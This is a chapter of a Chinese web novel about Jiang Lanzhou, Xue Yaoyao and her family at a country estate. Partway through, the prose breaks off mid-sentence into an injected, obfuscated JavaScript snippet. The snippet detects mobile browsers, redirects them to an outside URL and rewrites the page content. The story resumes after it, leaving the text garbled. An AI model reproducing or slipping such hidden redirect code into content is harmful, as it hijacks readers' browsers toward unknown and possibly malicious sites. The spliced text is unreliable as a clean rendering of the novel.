“喵呜～”


    晚风拂过时，小猫也似察觉到什么，隐隐不安地从薛窈夭怀中跃了下去。


    一句“我是谁，你们猜”。


    语气极淡，听不出半分柔和善意。


    并且也不待孩子们真的去猜，江揽州便已附身抄手，将瘫在躺椅上的姑娘打横抱了起来。


    之后他转身，没有丝毫逗留之意。


    薛窈夭呢，方才听到他声音时就已经吓得睁开了眼睛，被抄时也下意识伸手圈住他脖子。


    察觉他要走，她不及多想，刚要开口说些什么，脚下的瞳瞳和元凌一下子急了。


    姐弟两双双扑上来，一把抱住江揽州的腿，撕心裂肺地大声嗷叫道：“小姑、小姑……你要把小姑带到哪里去！”


    “你放下小姑！”


    “娘！娘！小姑坏人，有坏人抱小姑哇呜呜呜……”


    又惊又惧又怕，元凌急得一下子哭了，其他几个孩子也乱七八糟地喊着“娘啊、曾祖母啊、堂姑哇”。


    可说一时之间，院子里几乎乱成一片。


    脚下怼上来两个小东西，江揽州倒也没再继续往前走，只是不大理解，“本王看起来，很像坏人？”


    薛窈夭：“……”


    你说呢。


    一时间不知该安慰哪个，薛窈夭没回答他的问题，转而偏着脑袋轻声道：“先放我下来吧，殿下。你什么时候来的？”


    虽在问他，但她此刻的关注点全都在吱哇乱叫的一地孩子身上。江揽州拧眉，就非但没放她下去，反而大手还在她腰上意味不明地掐了了一下。


    不痛，但很痒。


    薛窈夭险些没忍住哼叫出声来。


    这关键时刻，瞳瞳不是所有孩子里年岁最大的那个，却竟是最冷静也最勇敢的那个。


    她仰着扎着双丫髻的小脑袋瓜，都看不到人，嘴上却在噼里啪啦地放着狠话：“你、你……你这个坏人快把小姑放下，否则，否则，否则我姑父会叫人把你抓起来！送去大牢里流放！”


    童言无忌，许多事情的概念，在他们那里还比较模糊，只隐隐约约知晓个大概。


    乍听之下却尽是心酸。


    江揽州耐心耗尽，依旧要走，偏偏两个孩子死不撒手，大有跟他“同归于尽”的架势。


    最终鼻间冷嗤一声，男人语气不温不火：“想让你们小姑下来？”


    俩孩子齐刷刷大叫：“想！”


    江揽州：“叫声姑父来听，本王可以考虑一下。”


    薛窈夭：“……”


    一个称谓，也仅仅二字罢了。


    她自己先前谈起时，孩子们缠着多问，都好像没什么。但此刻这二字从江揽州唇齿里吐出……或是它的含义过分露骨，又或彼此的身份带着某种不为人知的禁忌，就像不该暴于天光之下的隐秘，很快就会被懵懂的孩童们窥破，从而延伸出一种难以言说的羞耻之感，竟令薛窈夭有些面热。


    这一面热，她下意识将头埋进他颈窝。


    察觉她这细微的反应和动作，江揽州面不改色。


    只是覆在衣冠之下的左边胸膛，那颗寻常跳动的冷硬之心，忽又像是缠上了一根极细极细的牵丝之线。


    那滋味奇异又酥软，非他本人不能体会。


    孩子们当然也不傻，听到这么一句，外加小姑好像没有挣扎？


    元凌还在嘤嘤抽泣，瞳瞳却隐隐反应过来什么。


    她率先松了点力度，但也没完全放开江揽州的腿。


    然后小声的，仰着小脑袋瓜试探着唤了一声：“姑、姑父？”


    两团孩子，大的跪着小的站着，都在膝盖那蹭。怀里还抱着一个，江揽州自是看不清俩孩子此刻模样，只觉得他们声音太小。


    “唤的什么，听不见。”


    俩孩子闻言对视一眼，双双深吸口气，“姑父！”


    无比响亮的两声“姑父”，撕心裂肺又充满哀求，给其他几个孩子都震慑住了。


    孩子们纷纷望向江揽州，心说这就是他们那个新的……堂姑父吗？好可怕。


    不知不觉间，天幕又堪堪黑了一点，江揽州依旧站在原地，面无表情。唯有圈着他脖子的薛窈夭，察觉他声线不再像先前那般冷硬，他“嗯”了一声：“再来一次。”


    “……”


    这下不止瞳瞳和元凌，其他几个六神无主的孩子也纷纷跟风：“姑父！”


    霎时间，不算特别整齐，整个庭院都响彻着“姑父姑父”，意外的干脆也特别响亮。


    鼻息里轻哼了一声，江揽州这才稍稍满意了些。


    脑子里也不再是他们先前说的什么“东宫”、“太子殿下”云云。


    他问她：“想留下吗？”


    这个问题出人意料，薛窈夭愣了一下：“真的……可以留下？”


    “你想的话，就留一晚。”


    “那殿下呢？”


    片刻静默，仗着天黑视物不清，孩子们也都瞧不真切，江揽州就这样抱着她，忽地将额头抵近，漆黑眼眸近在咫尺、并和她对视时，眼底仿佛凝成了一汪吸人的暗渊。


    接着他以自己的鼻尖，在她鼻尖上轻轻蹭了一下，“想我留下吗。”


    这句话他是压着嗓子用气息说的。


    和她的呼吸若有似无地缠在一起。


    太亲昵也太暧昧了，薛窈夭几乎有些怔然住了。


    在他挺拔的鼻梁蹭得更近之前，她仓皇别开脸道：“想的！”


    怕孩子们听见，她这声“想的”也轻得似风，堪比夜色撩人。


    江揽州：“所以呢，姑父不在东宫，不是太子，那他在何处？叫什么？嗯？”


    “……”


    原来他那时候就已经来了，也都听到了吗。


    偏偏还要明知故问。


    薛窈夭有些羞赧地瞪他一眼，而后同样趁着暮色黑透，学他方才那样子，以鼻尖在他喉结上轻轻蹭了一下。


    明显可感的，江揽州呼吸一滞。


    她再次压着声音：“既已为人姑父，克制一点好吗，别带坏他们。”


    江揽州：。


    风撩裙裾，夜影簌簌。


    他们于暮色中彼此凝视，眼中都似有暗火灼烧，烧在最隐秘的地方，就好像真的……夫妻一样。


    不可思议也虚妄极了。


    .


    夜晚有种冷峻深沉的美。


    比起北境王府，城西庄子依山傍水，加之地处郊外，比其他地方更为清净。


    饭后亥时，薛窈夭无所事事，就那么静静躺在树下纳凉，望着天幕月明星稀，听着耳边孩子们奔走嬉闹，觉得时光都好似慢了下来。


    已经很久了，以为那种安宁踏实之感再也不会回来了，此刻拥着怀里的猫，薛窈夭却恍觉人生其实并没有想象中那么绝望。


    好比此刻，一切安稳，真好啊。


    “阿姐……”


    是薛明珠的声音。


    薛明珠手里端着托盘，从月洞门后绕出，盘中放着一盏茶水和诸多切好的甜瓜，她招呼孩子们道，“一人一块，不许多抢啊！”


    待孩子们嘻闹着啃过甜瓜，耳边再次清净时，薛明珠已然和薛窈夭躺在一起。


    “阿姐……”


    知道她有话说，薛窈夭嗯了一声，“怎么啦。”


    薛明珠叹了口气。


    为何叹气呢，自是先前暮色时分——彼时听到孩子们的哭声和那齐刷刷又响亮的“姑父姑父”，薛家女眷和庄内下人们都纷纷赶来前院。


    随着院中灯火渐亮，不止八个懵懂孩子，其他薛家人甫一见到江揽州，也是个顶个的惶恐惊惧，无所适从。


    知道些过往的，一如薛老太太和大房婶娘，不知该如何“放置”这位三殿下。不知过往的，则为这人天潢贵胄的身份、权势、地位、以及周身气势所摄，加之她们戴罪之身，寄人篱下，又猜到薛窈夭与之关系扑所迷离……


    总之别说正眼瞧了。


    便是给江揽州参拜见礼，女眷们也大都束手束脚。


    所有人里，唯有薛明珠红着脸上前几步，行了个极为标准的福身礼，“小女子薛明珠，见过北境王殿下。”


    换作其他人，多少会做做面子功夫。


    然而江揽州却似对薛家人没有半分耐性，连最基本的礼仪也不肯施舍。他只接过萧夙送来的文书、卷册一类，随口吩咐道：“让人去收拾一间厢房出来。”


    竟是直接无视了薛家所有人，包括薛明珠。


    彼时薛窈夭正蹲在地上哄哭唧唧的元凌，见状不免有些忐忑尴尬。正待说些什么，又听萧夙报了一句：“殿下，先前东阁来人传话，说孟姑娘问您几时回府，她有急事求见。”


    指的是孟雪卿。


    “今夜不归，明日再说。”撂下这么简单一句，江揽州不再逗留，只告诉薛窈夭，让她饭后去找阁楼他。


    一顿晚饭。


    是他留给她与薛家人相处的时间。


    .


    到此刻，薛窈夭却还并未去找他。


    一来是想再多独处片刻，毕竟这种闲适实在难得也实在久违，二来某些方面……她有些害怕江揽州，觉得自己需要休息两天，更怕自己架不住他半点诱惑。


    很奇怪。


    过往二十年，她心下早有“夫君”二字的全部解读，那就是傅廷渊本身。可如今短短半个多月，江揽州……至少在身体上带给她的某些觉知、体验，竟已超过了从前与傅廷渊的总和。


    好比七夕那夜，身体仿佛打开了某扇奇妙之门。


    之后江揽州但凡再靠近她，触碰她，薛窈夭就……


    深深吸了口气。


    “想说什么吗？”她问薛明珠。


    躺椅不大，躺一个人相当宽松，两个人却有些微挤。薛明珠闷闷开口：“想说……先前阿姐也看到了，明珠给三殿下见礼，可殿下却看都没看我一眼。”


    分明只是件很小的事，薛明珠声音却委委屈屈。


    薛窈夭有点想笑。


    然而自己曾经情窦初开，不也被傅廷渊的一言一行，甚至一个眼神或动作就影响整日心绪吗。


    “阿珠喜欢他什么？”


    红着脸摸摸鼻子，薛明珠：“不知道……反正就、就那年皇家狩猎，第一次见到三殿下就觉得呼吸好困难，心口扑通扑通的跳得可快，还时时都想看到他……阿姐你，你笑我……”


    薛窈夭的确在笑，却并非嘲笑。


    而是笑薛明珠这种少女娇憨，自己也曾有过。


    “那你是喜欢他的外表？性情？声名？还是其他什么？”


    这次薛明珠想了想，依旧摇头：“不知道……毕竟我从前都没和殿下说过一句话。”


    “那当年回去之后，你为何没跟家中长辈表态？”


    若是表态，彼时薛家如日中天，以薛家二房嫡女的身份，薛明珠未必没有机会嫁给江揽州。


    但话出口时，薛窈夭隐隐反应过来，所谓皇家狩猎，薛明珠指的应该是三年前那次，那时她还不满十五，还太小了。


    大周男儿十八及冠，女子也十八及笄，男女订亲说亲通常在十六七岁，要么就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601219|152796||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娃娃亲。


    “阿姐知道的，我那时候还……不好意思跟爹娘表态，想着再过一年半载，至少待十五岁生辰之后，谁知……”


    待薛明珠十五岁生辰到来，江揽州已然远赴北境。


    听到这里，薛窈夭沉默下来。


    她没说话，薛明珠便猜不到她心里在想些什么。


    到底年纪小些，她忍不住又问，“那阿姐上回说的，让我送你的小猫去北境王府，如今还……还送吗？”


    半晌没有得到回应，薛明珠转而又补充：“如果阿姐介意……明珠也、也可以不送的……”


    扪心自问，介意吗。


    薛窈夭想了想，还是那句话——薛家人的处境，和孩子们的未来更重要。再则她无法跟心上人有个结局，薛明珠却还有机会，至少让她去试试，有何不可呢。


    “阿珠可知我之前离开桫州，去找他是为了什么？”


    这个薛明珠不是傻子，自然猜得到的。


    于是薛窈夭也不待她答复，自顾轻声说下去，“既然知道，你就应该知晓阿姐不会介意，非但不介意，甚至还希望你能博得他喜爱，并且尽可能的……虏获他的心。”


    “而阿姐要求的只有一点。”


    “无论你将来得到什么，拥有什么，能走多远……你都得以自己最大的能力护住薛家人，尤其是几个孩子，能做到吗？”


    微微侧眸，看向薛窈夭。


    月色下树影婆娑，轻轻摇曳。


    薛明珠不期然看到阿姐双目空空，就那么望着天幕，一双桃花眼美得惊心动魄，眼中却没有灵魂似的……


    很奇怪的感觉。


    薛明珠点点头说：“我答应阿姐，可以做到的。”


    那么。


    片刻沉默后。


    薛窈夭声音很轻：“去给殿下送盏茶吧。”


    “送去之后你能做些什么，做到哪一步……你自己决定就好。若他并不排斥，那么明日你和小猫就都跟着阿姐，我们一起去北境王府。”


    .


    夜凉如水，夜影安澜。


    庄子东边有一处临水阁楼。


    亥时之后用过晚膳，江揽州看着手下公文，忽觉索然无味。


    他撂笔靠在椅背上，从怀里掏出一枚珠钗。


    珠钗有些陈旧了，既不华丽也不雍容，却是江氏留给他的唯一想念。


    临终前，那个衰败的破庙，江氏将它拔下来。


    “若是将来，阿州有幸遇到心爱的女子，将这珠钗送给她吧。是娘不好，半身蹉跎也没能给你挣个好前程，是娘害你从一出生开始，就在受苦……”


    声音越来越弱，江氏废了好大的力气，才将珠钗递到八岁的小江揽州手里。


    “但若将来走投无路，阿州活不下去了，拿它去换口吃的也没关系，终是阿娘对不住你，是阿娘对不住你……”


    后来孑然一身，的确曾走投无路，也曾一次又一次的活不下去。


    可没有任何一次，江揽州舍得将它卖掉。


    靠在椅背上，他指节从眉心划下。


    不由又想起六岁那年，在繁华京师的镇国公府，初见小郡主时，她头顶花冠，被一群衣着雍容的妇人和孩子们簇拥在人群中间，像只开屏的小孔雀，整个人艳光四射。


    小小的江揽州，自幼穿着打补丁的衣裳，三岁开始便混迹于街头，自是从未见过那般光鲜亮丽的同龄小女孩。


    仿佛不是同一个世间的人。


    又仿佛流浪的乞丐苦行千里，忽然窥见了世上最璀璨的那朵温室娇花，这年小小的江揽州魔怔一般，几乎移不开眼。


    他被吸引住了。


    有一点喜欢，有一点嫉妒，更还有难以言说的向往之情，巨大的落差令他不自觉低头，看向自己污脏裤腿，觉得自己像是阴沟里的杂草，而她是九天明月。


    这份情绪到后来，又渐渐演变为愤怒、痛恨、憎恶，最严重时，小江揽州咬牙切齿猩红了眼，恨不能一拳将她揍哭，像曾在街头揍其他小孩一样。更恨不能她直接死掉，消失，永远不要出现在他面前。


    却不想后来，后来，再后来。


    十三岁那年，某个落雪的清晨从营地醒来，江揽州发现自己声音变了，变得低沉、糙哑，一如他新竹拔节般不断抽条的身高，与之伴随的还有诸多生理变化。


    他们说那是毛头小子长成为真正男人的象征。


    江揽州并不在意。


    直到某天夜里，他做了场梦，梦醒后亵裤濡湿。


    彼时盯着漆黑帐顶，耳边是杂乱鼾声，塞北衰草寒烟，风雪呼啸，不时吹着破烂军帐而发出簌簌声响。


    少年人目光发直，眼底充血，发誓她下回再敢入梦，再敢那样……对他，他必以手中战戟将她贯穿。


    那种恨意深切入骨。


    毕竟他娘江氏病重，是她下令不许府上医师看诊。


    以致于后来被赶出薛家，江氏不到半月便病死破庙。


    此时此刻。


    握着这珠钗，像握着少时一颗藏于暗处晦涩又滚烫的心。握着跨不过的痛辱，抵不住欢愉，在爱与恨之间反复拉扯、浇烧。


    万籁俱寂的夜。


    窗外是摇晃的青葱树影，江揽州静默等待着。


    俊美无俦的一张脸被烛光照出乖戾之色。


    心说这枚珠钗，这辈子送给任何女子，也绝不可能送给她——


    不仅如此，今夜一定折磨她。


    必要她求生不得，求死不能。


    却不想最终等来的，并不是她。